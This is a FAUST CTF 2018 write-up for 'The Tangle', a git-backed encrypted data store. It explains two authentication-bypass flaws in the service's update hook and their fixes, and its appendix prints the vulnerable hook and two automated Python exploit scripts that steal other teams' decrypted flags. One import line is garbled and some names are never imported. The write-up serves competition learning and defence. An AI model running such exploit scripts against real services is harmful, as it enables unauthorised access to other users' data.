FAUST CTF 18: The Tangle

The Tangle has been a challenge at the FAUST CTF 2018. It is a small, git-backed data store. Users can create accounts and store data that they encrypt with the public key of the server. The data previously stored can be retrieved with the credentials of the user who uploaded the data. The server decrypts the data with his private key and sends the plain text data.

Functionality of the Service

The service consisted of a publicly available Git repository. Using an update hook (see appendix), commits were processed and filtered.

Each commit had to contain a file called action containing the action to execute. As a further restriction, only commits whose hashes start with the prefix 666 are accepted. There are three actions available:

  • register. For registration, both a username and a SHA256 hash of a password need to be provided within files called username and password. The commit is only accepted if no parent commit of the repository's HEAD contains a register commit with the same username.
  • store. Store commits are accepted unconditionally (except for the commit hash prefix requirement). However, they are supposed to contain a username file containing the own username. In addition, a file called data is expected, containing the own username followed by a new line and arbitrary data (for example, a flag), encrypted with the public key of the server. That public key is contained in the initial commit of the repository.
  • retrieve. Retrieve commits are used to fetch the decrypted data placed by a previous commit of the same user. For authentication, an account file is required that needs to contain the commit hash of the registration commit. In addition, a password file containing the (unhashed) password needs to be added to the commit. Lastly, the commit needs to contain a file ids with a newline-separated list of the commit hashes of store commits whose data should be decrypted and transmitted by the server. The retrieve commits are always rejected by the server, i.e., they are never added to the Git history; if they were accepted, the unhashed passwords would be available in the history. On successful authentication, the server prints the decrypted data before rejecting the commit.

To authenticate a user during retrieval, the account registration commit (provided by the user as its commit hash) is regarded to check whether the SHA256 hash of the provided password matches the SHA256 hash contained in the registration commit. Furthermore, the registration commit needs to be reachable, i.e., it needs to be a transitive parent commit of the current HEAD of the repository. Each requested id is only sent by the server if the first line of the plain text equals the username of the authenticated user.

Exploiting the Service

The objective of exploiting the service is to get the plain text of decrypted data stored by other users. The encryption uses RSA with the PKCS #1 v1.5 standard. The Python Crypto library is used without magic, hence this does not seem like a crypto challenge.

Instead, we need to trick the server into decrypting the data on our behalf without being able to provide the valid credentials of the actual data owner.

To be able to push any commits (even legitimate commits) to the repository, we need to find a way to get commit hashes starting with 666. This can be achieved by brute forcing the author and commit timestamps. A quick search on the internet for example reveals gitbrute, which brute forces the timestamps directly and amends the latest commit only once after finding appropriate timestamps.

While it is not directly possible to register a new user with a username that has been registered before, there are at least two exploitable vulnerabilities in the service that trick the server into sending plain text data from other users.

Firstly, the retrieve action does not verify that the commit referenced as account commit actually is a registration commit; instead, any commit is sufficient as long as it contains a username and a password file. Store commits are always accepted (as long as their hash satisfies the prefix condition). Hence, it is possible to create a store commit containing the username referenced in the encrypted data that we want to retrieve, as well as a SHA256 hash of a known password. As the reachability check starts from the parent of the HEAD commit, another commit needs to be added after this fake registration commit to pass the reachability test. This commit only has to meet the prefix condition; in the simplest case, the commit could be empty. Pushing these two commits, there is now a commit that we can reference in the account file of a retrieve commit for which we know the valid password. This way, the server accepts the authentication and prints the decrypted data.

Secondly, it is possible to push new branches to the git repository. Within a different branch, it is possible to create a valid registration commit for a user with an account that was already registered before, as long as the branch originates from a commit older than the first registration of that username. While it would be possible to add another commit storing the same data file as the original store commit (or doing a cherry-pick to that specific commit) onto our own branch, a retrieve commit on that branch is rejected by the update hook. This is because the reachability check is performed against the remote repository's HEAD, which is the master branch and not our own branch. However, it is possible to merge our custom branch into master using a merge commit. The register commit has been pushed to the repository before, thus not being verified by the hook again. The update hook always allows commits having more than one parent, which our merge commit does. This way, we now have a valid registration commit that is reachable from the master branch and can retrieve the plain text of the desired store commit.

An important requirement for successful exploitation is the identification of relevant store commit(s). At the beginning, it was sufficient use the most recent commit as only the commits submitting valid flags were contained in the repositories. However, as soon as the first exploits were run, additional commits were added on top of the valid commits. Therefore, it is required to identify relevant commits. It could be observed that the flags were submitted by a Git identity containing of a first and a last name. The commit messages consisted of exactly 20 random characters. Furthermore, relevant commits perform the store action. As the number of irrelevant commits increased, it proved helpful to run the exploit against multiple different commits fulfilling these requirements.

Another possible bug we have detected in the service is the handling of usernames containing newlines. While usernames are not validated during registration, the plain text of the encrypted data is read until the first newline character to determine the owner of the data. However, this only is exploitable if the user storing the data uses a username containing a newline, and in that case he will not be able to retrieve his own data (as the username including the newline is compared to the username cut at the first newline character).

Fixing the Service

The two vulnerabilities described in the previous section are rather easy to fix.

In order to prevent the authentication using account commits that are no valid registration commits, a check is required that the referenced commit uses register as action. If it does not, the commit is rejected without printing decrypted data.

To protect against the multi-branch approach, it is sufficient to reject merge commits, as the commit referenced for authentication must be reachable from the remote repository's HEAD, which is master. As the initial update hook already contained a check that accepted commits having more than one parent, this can easily be modified to reject such commits instead. This prevents merge commits and thus exploiting the service using multiple branches.

The update hook containing these fixes is shown in the Appendix as well.

Appendix

The update hook:

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
import sys

from git import Repo

from hashlib import sha256
from Crypto.PublicKey import RSA
from Crypto.Cipher.PKCS1_v1_5 import PKCS115_Cipher
from base64 import b64encode, b64decode

refname=sys.argv[1]
oldrev=sys.argv[2]
newrev=sys.argv[3]

repo = Repo(os.environ['GIT_DIR'])

if len(repo.branches) == 0:
    exit(0)

if not newrev.startswith('666'):
    exit(1)

commit = repo.commit(newrev)

if len(repo.git.cat_file('commit', newrev).split('\n\n')[0].split('\nparent '))-1 > 1:
    exit(0)

tree = commit.tree
action = repo.git.show(tree / 'action')

if action == 'register':
    username = repo.git.show(tree / 'username')

    for parent in commit.iter_parents():
        if 'action' in parent.tree and repo.git.show(parent.tree / 'action') == 'register' and repo.git.show(parent.tree / 'username') == username:
            print('User already exists')
            exit(1)

    print('Registered user ' + username)
    exit(0)

elif action == 'store':
    exit(0)

elif action == 'retrieve':
    account = repo.git.show(tree / 'account')
    password = repo.git.show(tree / 'password')
    if account:
        register_commit = repo.commit(account)
        reachable = False
        for parent in repo.head.commit.iter_parents():
            if parent == register_commit:
                reachable = True
                break
        if reachable:
            account_tree = register_commit.tree
            account_username = repo.git.show(account_tree / 'username')
            account_password = repo.git.show(account_tree / 'password')
            if sha256(password).hexdigest() == account_password:
                ids = repo.git.show(tree / 'ids').split('\n')
                key = RSA.importKey(open(os.path.join(os.environ['GIT_DIR'], '../key.pem')).read())
                cipher = PKCS115_Cipher(key)
                for id in ids:
                    data_commit = repo.commit(id)
                    data_tree = data_commit.tree
                    if repo.git.show(data_tree / 'username') == account_username:
                        data = repo.git.show(data_tree / 'data')
                        data_decrypted = cipher.decrypt(b64decode(data), None)
                        if '\n' in data_decrypted and account_username == data_decrypted[:data_decrypted.index('\n')]:
                            print(id + ':' + b64encode(data_decrypted[data_decrypted.index('\n')+1:]))

exit(1)

The fixes for the two vulnerabilities we have exploited in the update hook:

29c29
<     exit(0)
---
>     exit(1)
32d31
< # action is the contents of the file
62a62,63
>             if repo.git.show(account_tree / 'action') != 'register':
>                 exit(1)

Our automated exploit for the approach using invalid register commits (only slightly cleaned up after the competition):

#!/usr/bin/env python3
import os
import re
import sys
import tempfile
from base64 import b64decode, b64encode
from hashlib import sha256
from random import randint
from subprocess import call, CalledProcessError check_output, STDOUT,

from faker import Faker


MAX_TRIES = 10
GITBRUTE_PATH = '/usr/local/bin/gitbrute'


def commit(tmp):
    faker = Faker()
    call([
        'git',
        'add',
        '-A',
    ], cwd=tmp)
    call([
        'git',
        'commit',
        '-m',
        faker.paragraph(),
    ], cwd=tmp)
    fix_commit(tmp)


def push(tmp):
    check_output([
        'git',
        'push'], cwd=tmp)


def find_store_commits(tmp):
    result = check_output([
        'git',
        'log',
        '--format=format:%H %aN',
    ], cwd=tmp).decode()
    for line in result.splitlines():
        # this only checks that the commit author consists of exactly two words and each of these words of more than two characters
        # additional checks would be
          # commit message of 20 random characters
          # "store" within the "action" file in the commit
        hash, author = line.split(' ', maxsplit=1)
        author_names = author.split()
        if len(author_names) == 2 and len(author_names[0]) > 2 and len(author_names[1]) > 2:
            yield hash


def current_hash(tmp) -> str:
    return check_output([
        'git',
        'rev-parse',
        'HEAD',
    ], cwd=tmp).decode()


def fix_commit(tmp):
    call([
        GITBRUTE_PATH,
        '-prefix',
        '666',
    ], cwd=tmp)


def pwn(team_ip):
    with tempfile.TemporaryDirectory() as tmp:
        faker = Faker()

        call([
            'git',
            'clone',
            'http://{}:4563/the-tangle/api'.format(team_ip),
            tmp,
        ])
        call([
            'git',
            'config',
            'user.email',
            faker.email()], cwd=tmp)
        call([
            'git',
            'config',
            'user.name',
            faker.name()], cwd=tmp)

        store_commits = find_store_commits(tmp)

        i = 0
        for commit in store_commits:
            i += 1
            if i > MAX_TRIES:
                break

            pwn_store_commit(commit, tmp)

def pwn_store_commit(store, tmp):
    password = str(randint(10000000, 99999999))

    check_output([
        'git',
        'checkout',
        store,
    ], cwd=tmp)

    username = open(os.path.join(tmp, 'username'), 'r').read()

    check_output([
        'git',
        'checkout',
        'master',
    ], cwd=tmp)

    with open(os.path.join(tmp, 'action'), 'w') as f:
        f.write('store')
    with open(os.path.join(tmp, 'username'), 'w') as f:
        f.write(username)
    with open(os.path.join(tmp, 'password'), 'w') as f:
        f.write(sha256(password.encode()).hexdigest())
    commit(tmp)
    account = current_hash(tmp)
    push(tmp)

    with open(os.path.join(tmp, 'data'), 'wb') as f:
        f.write(b64encode(bytes(randint(1000, 5829883))))
    commit(tmp)
    push(tmp)
    with open(os.path.join(tmp, 'action'), 'w') as f:
        f.write('retrieve')
    with open(os.path.join(tmp, 'ids'), 'w') as f:
        f.write(store)
    with open(os.path.join(tmp, 'account'), 'w') as f:
        f.write(account)
    with open(os.path.join(tmp, 'password'), 'w') as f:
        f.write(password)
    commit(tmp)
    try:
        result = check_output([
            'git',
            'push'], cwd=tmp, stderr=STDOUT).decode()
    except CalledProcessError as e:
        result = e.output.decode()

    flag = re.search(r'{}:(.*?=)'.format(store), result)
    print(b64decode(flag.group(1)))


if __name__ == '__main__':
    pwn(sys.argv[1])

Our automated exploit using the branches approach (only slightly cleaned up after the competition):

def pwn_store_commit(store, tmp):
    password = str(randint(10000000, 99999999))

    check_output([
        'git',
        'checkout',
        store,
    ], cwd=tmp)

    username = open(os.path.join(tmp, 'username'), 'r').read()

    check_output([
        'git',
        'checkout',
        store + '~3',
    ], cwd=tmp)

    branch = str(randint(1, 24398243))
    check_output([
        'git',
        'checkout',
        '-b',
        branch,
    ], cwd=tmp)
    check_output([
        'git',
        'push',
        '-u',
        'origin',
        branch], cwd=tmp)

    with open(os.path.join(tmp, 'action'), 'w') as f:
        f.write('register')
    with open(os.path.join(tmp, 'username'), 'w') as f:
        f.write(username)
    with open(os.path.join(tmp, 'password'), 'w') as f:
        f.write(sha256(password.encode()).hexdigest())
    commit(tmp)
    account = current_hash(tmp)
    push(tmp)

    check_output([
        'git',
        'checkout',
        'master',
    ], cwd=tmp)

    #os.environ.update({'VISUAL': '/bin/true'})
    call([
        'git',
        'merge',
        '--no-edit',
        branch,
    ], cwd=tmp)
    with open(os.path.join(tmp, 'action'), 'w') as f:
        f.write('register')
    with open(os.path.join(tmp, 'username'), 'w') as f:
        f.write(username)
    with open(os.path.join(tmp, 'password'), 'w') as f:
        f.write(sha256(password.encode()).hexdigest())
    check_output([
        'git',
        'add',
        '-A',
    ], cwd=tmp)
    check_output([
        'git',
        'merge',
        '--no-edit',
        '--continue',
    ], cwd=tmp)
    fix_commit(tmp)
    push(tmp)

    with open(os.path.join(tmp, 'action'), 'w') as f:
        f.write('retrieve')
    with open(os.path.join(tmp, 'ids'), 'w') as f:
        f.write(store)
    with open(os.path.join(tmp, 'account'), 'w') as f:
        f.write(account)
    with open(os.path.join(tmp, 'password'), 'w') as f:
        f.write(password)
    commit(tmp)
    try:
        result = check_output([
            'git',
            'push'], cwd=tmp, stderr=subprocess.STDOUT).decode()
    except subprocess.CalledProcessError as e:
        result = e.output.decode()

    flag = re.search(r'{}:(.*?=)'.format(store), result)
    print(b64decode(flag.group(1)))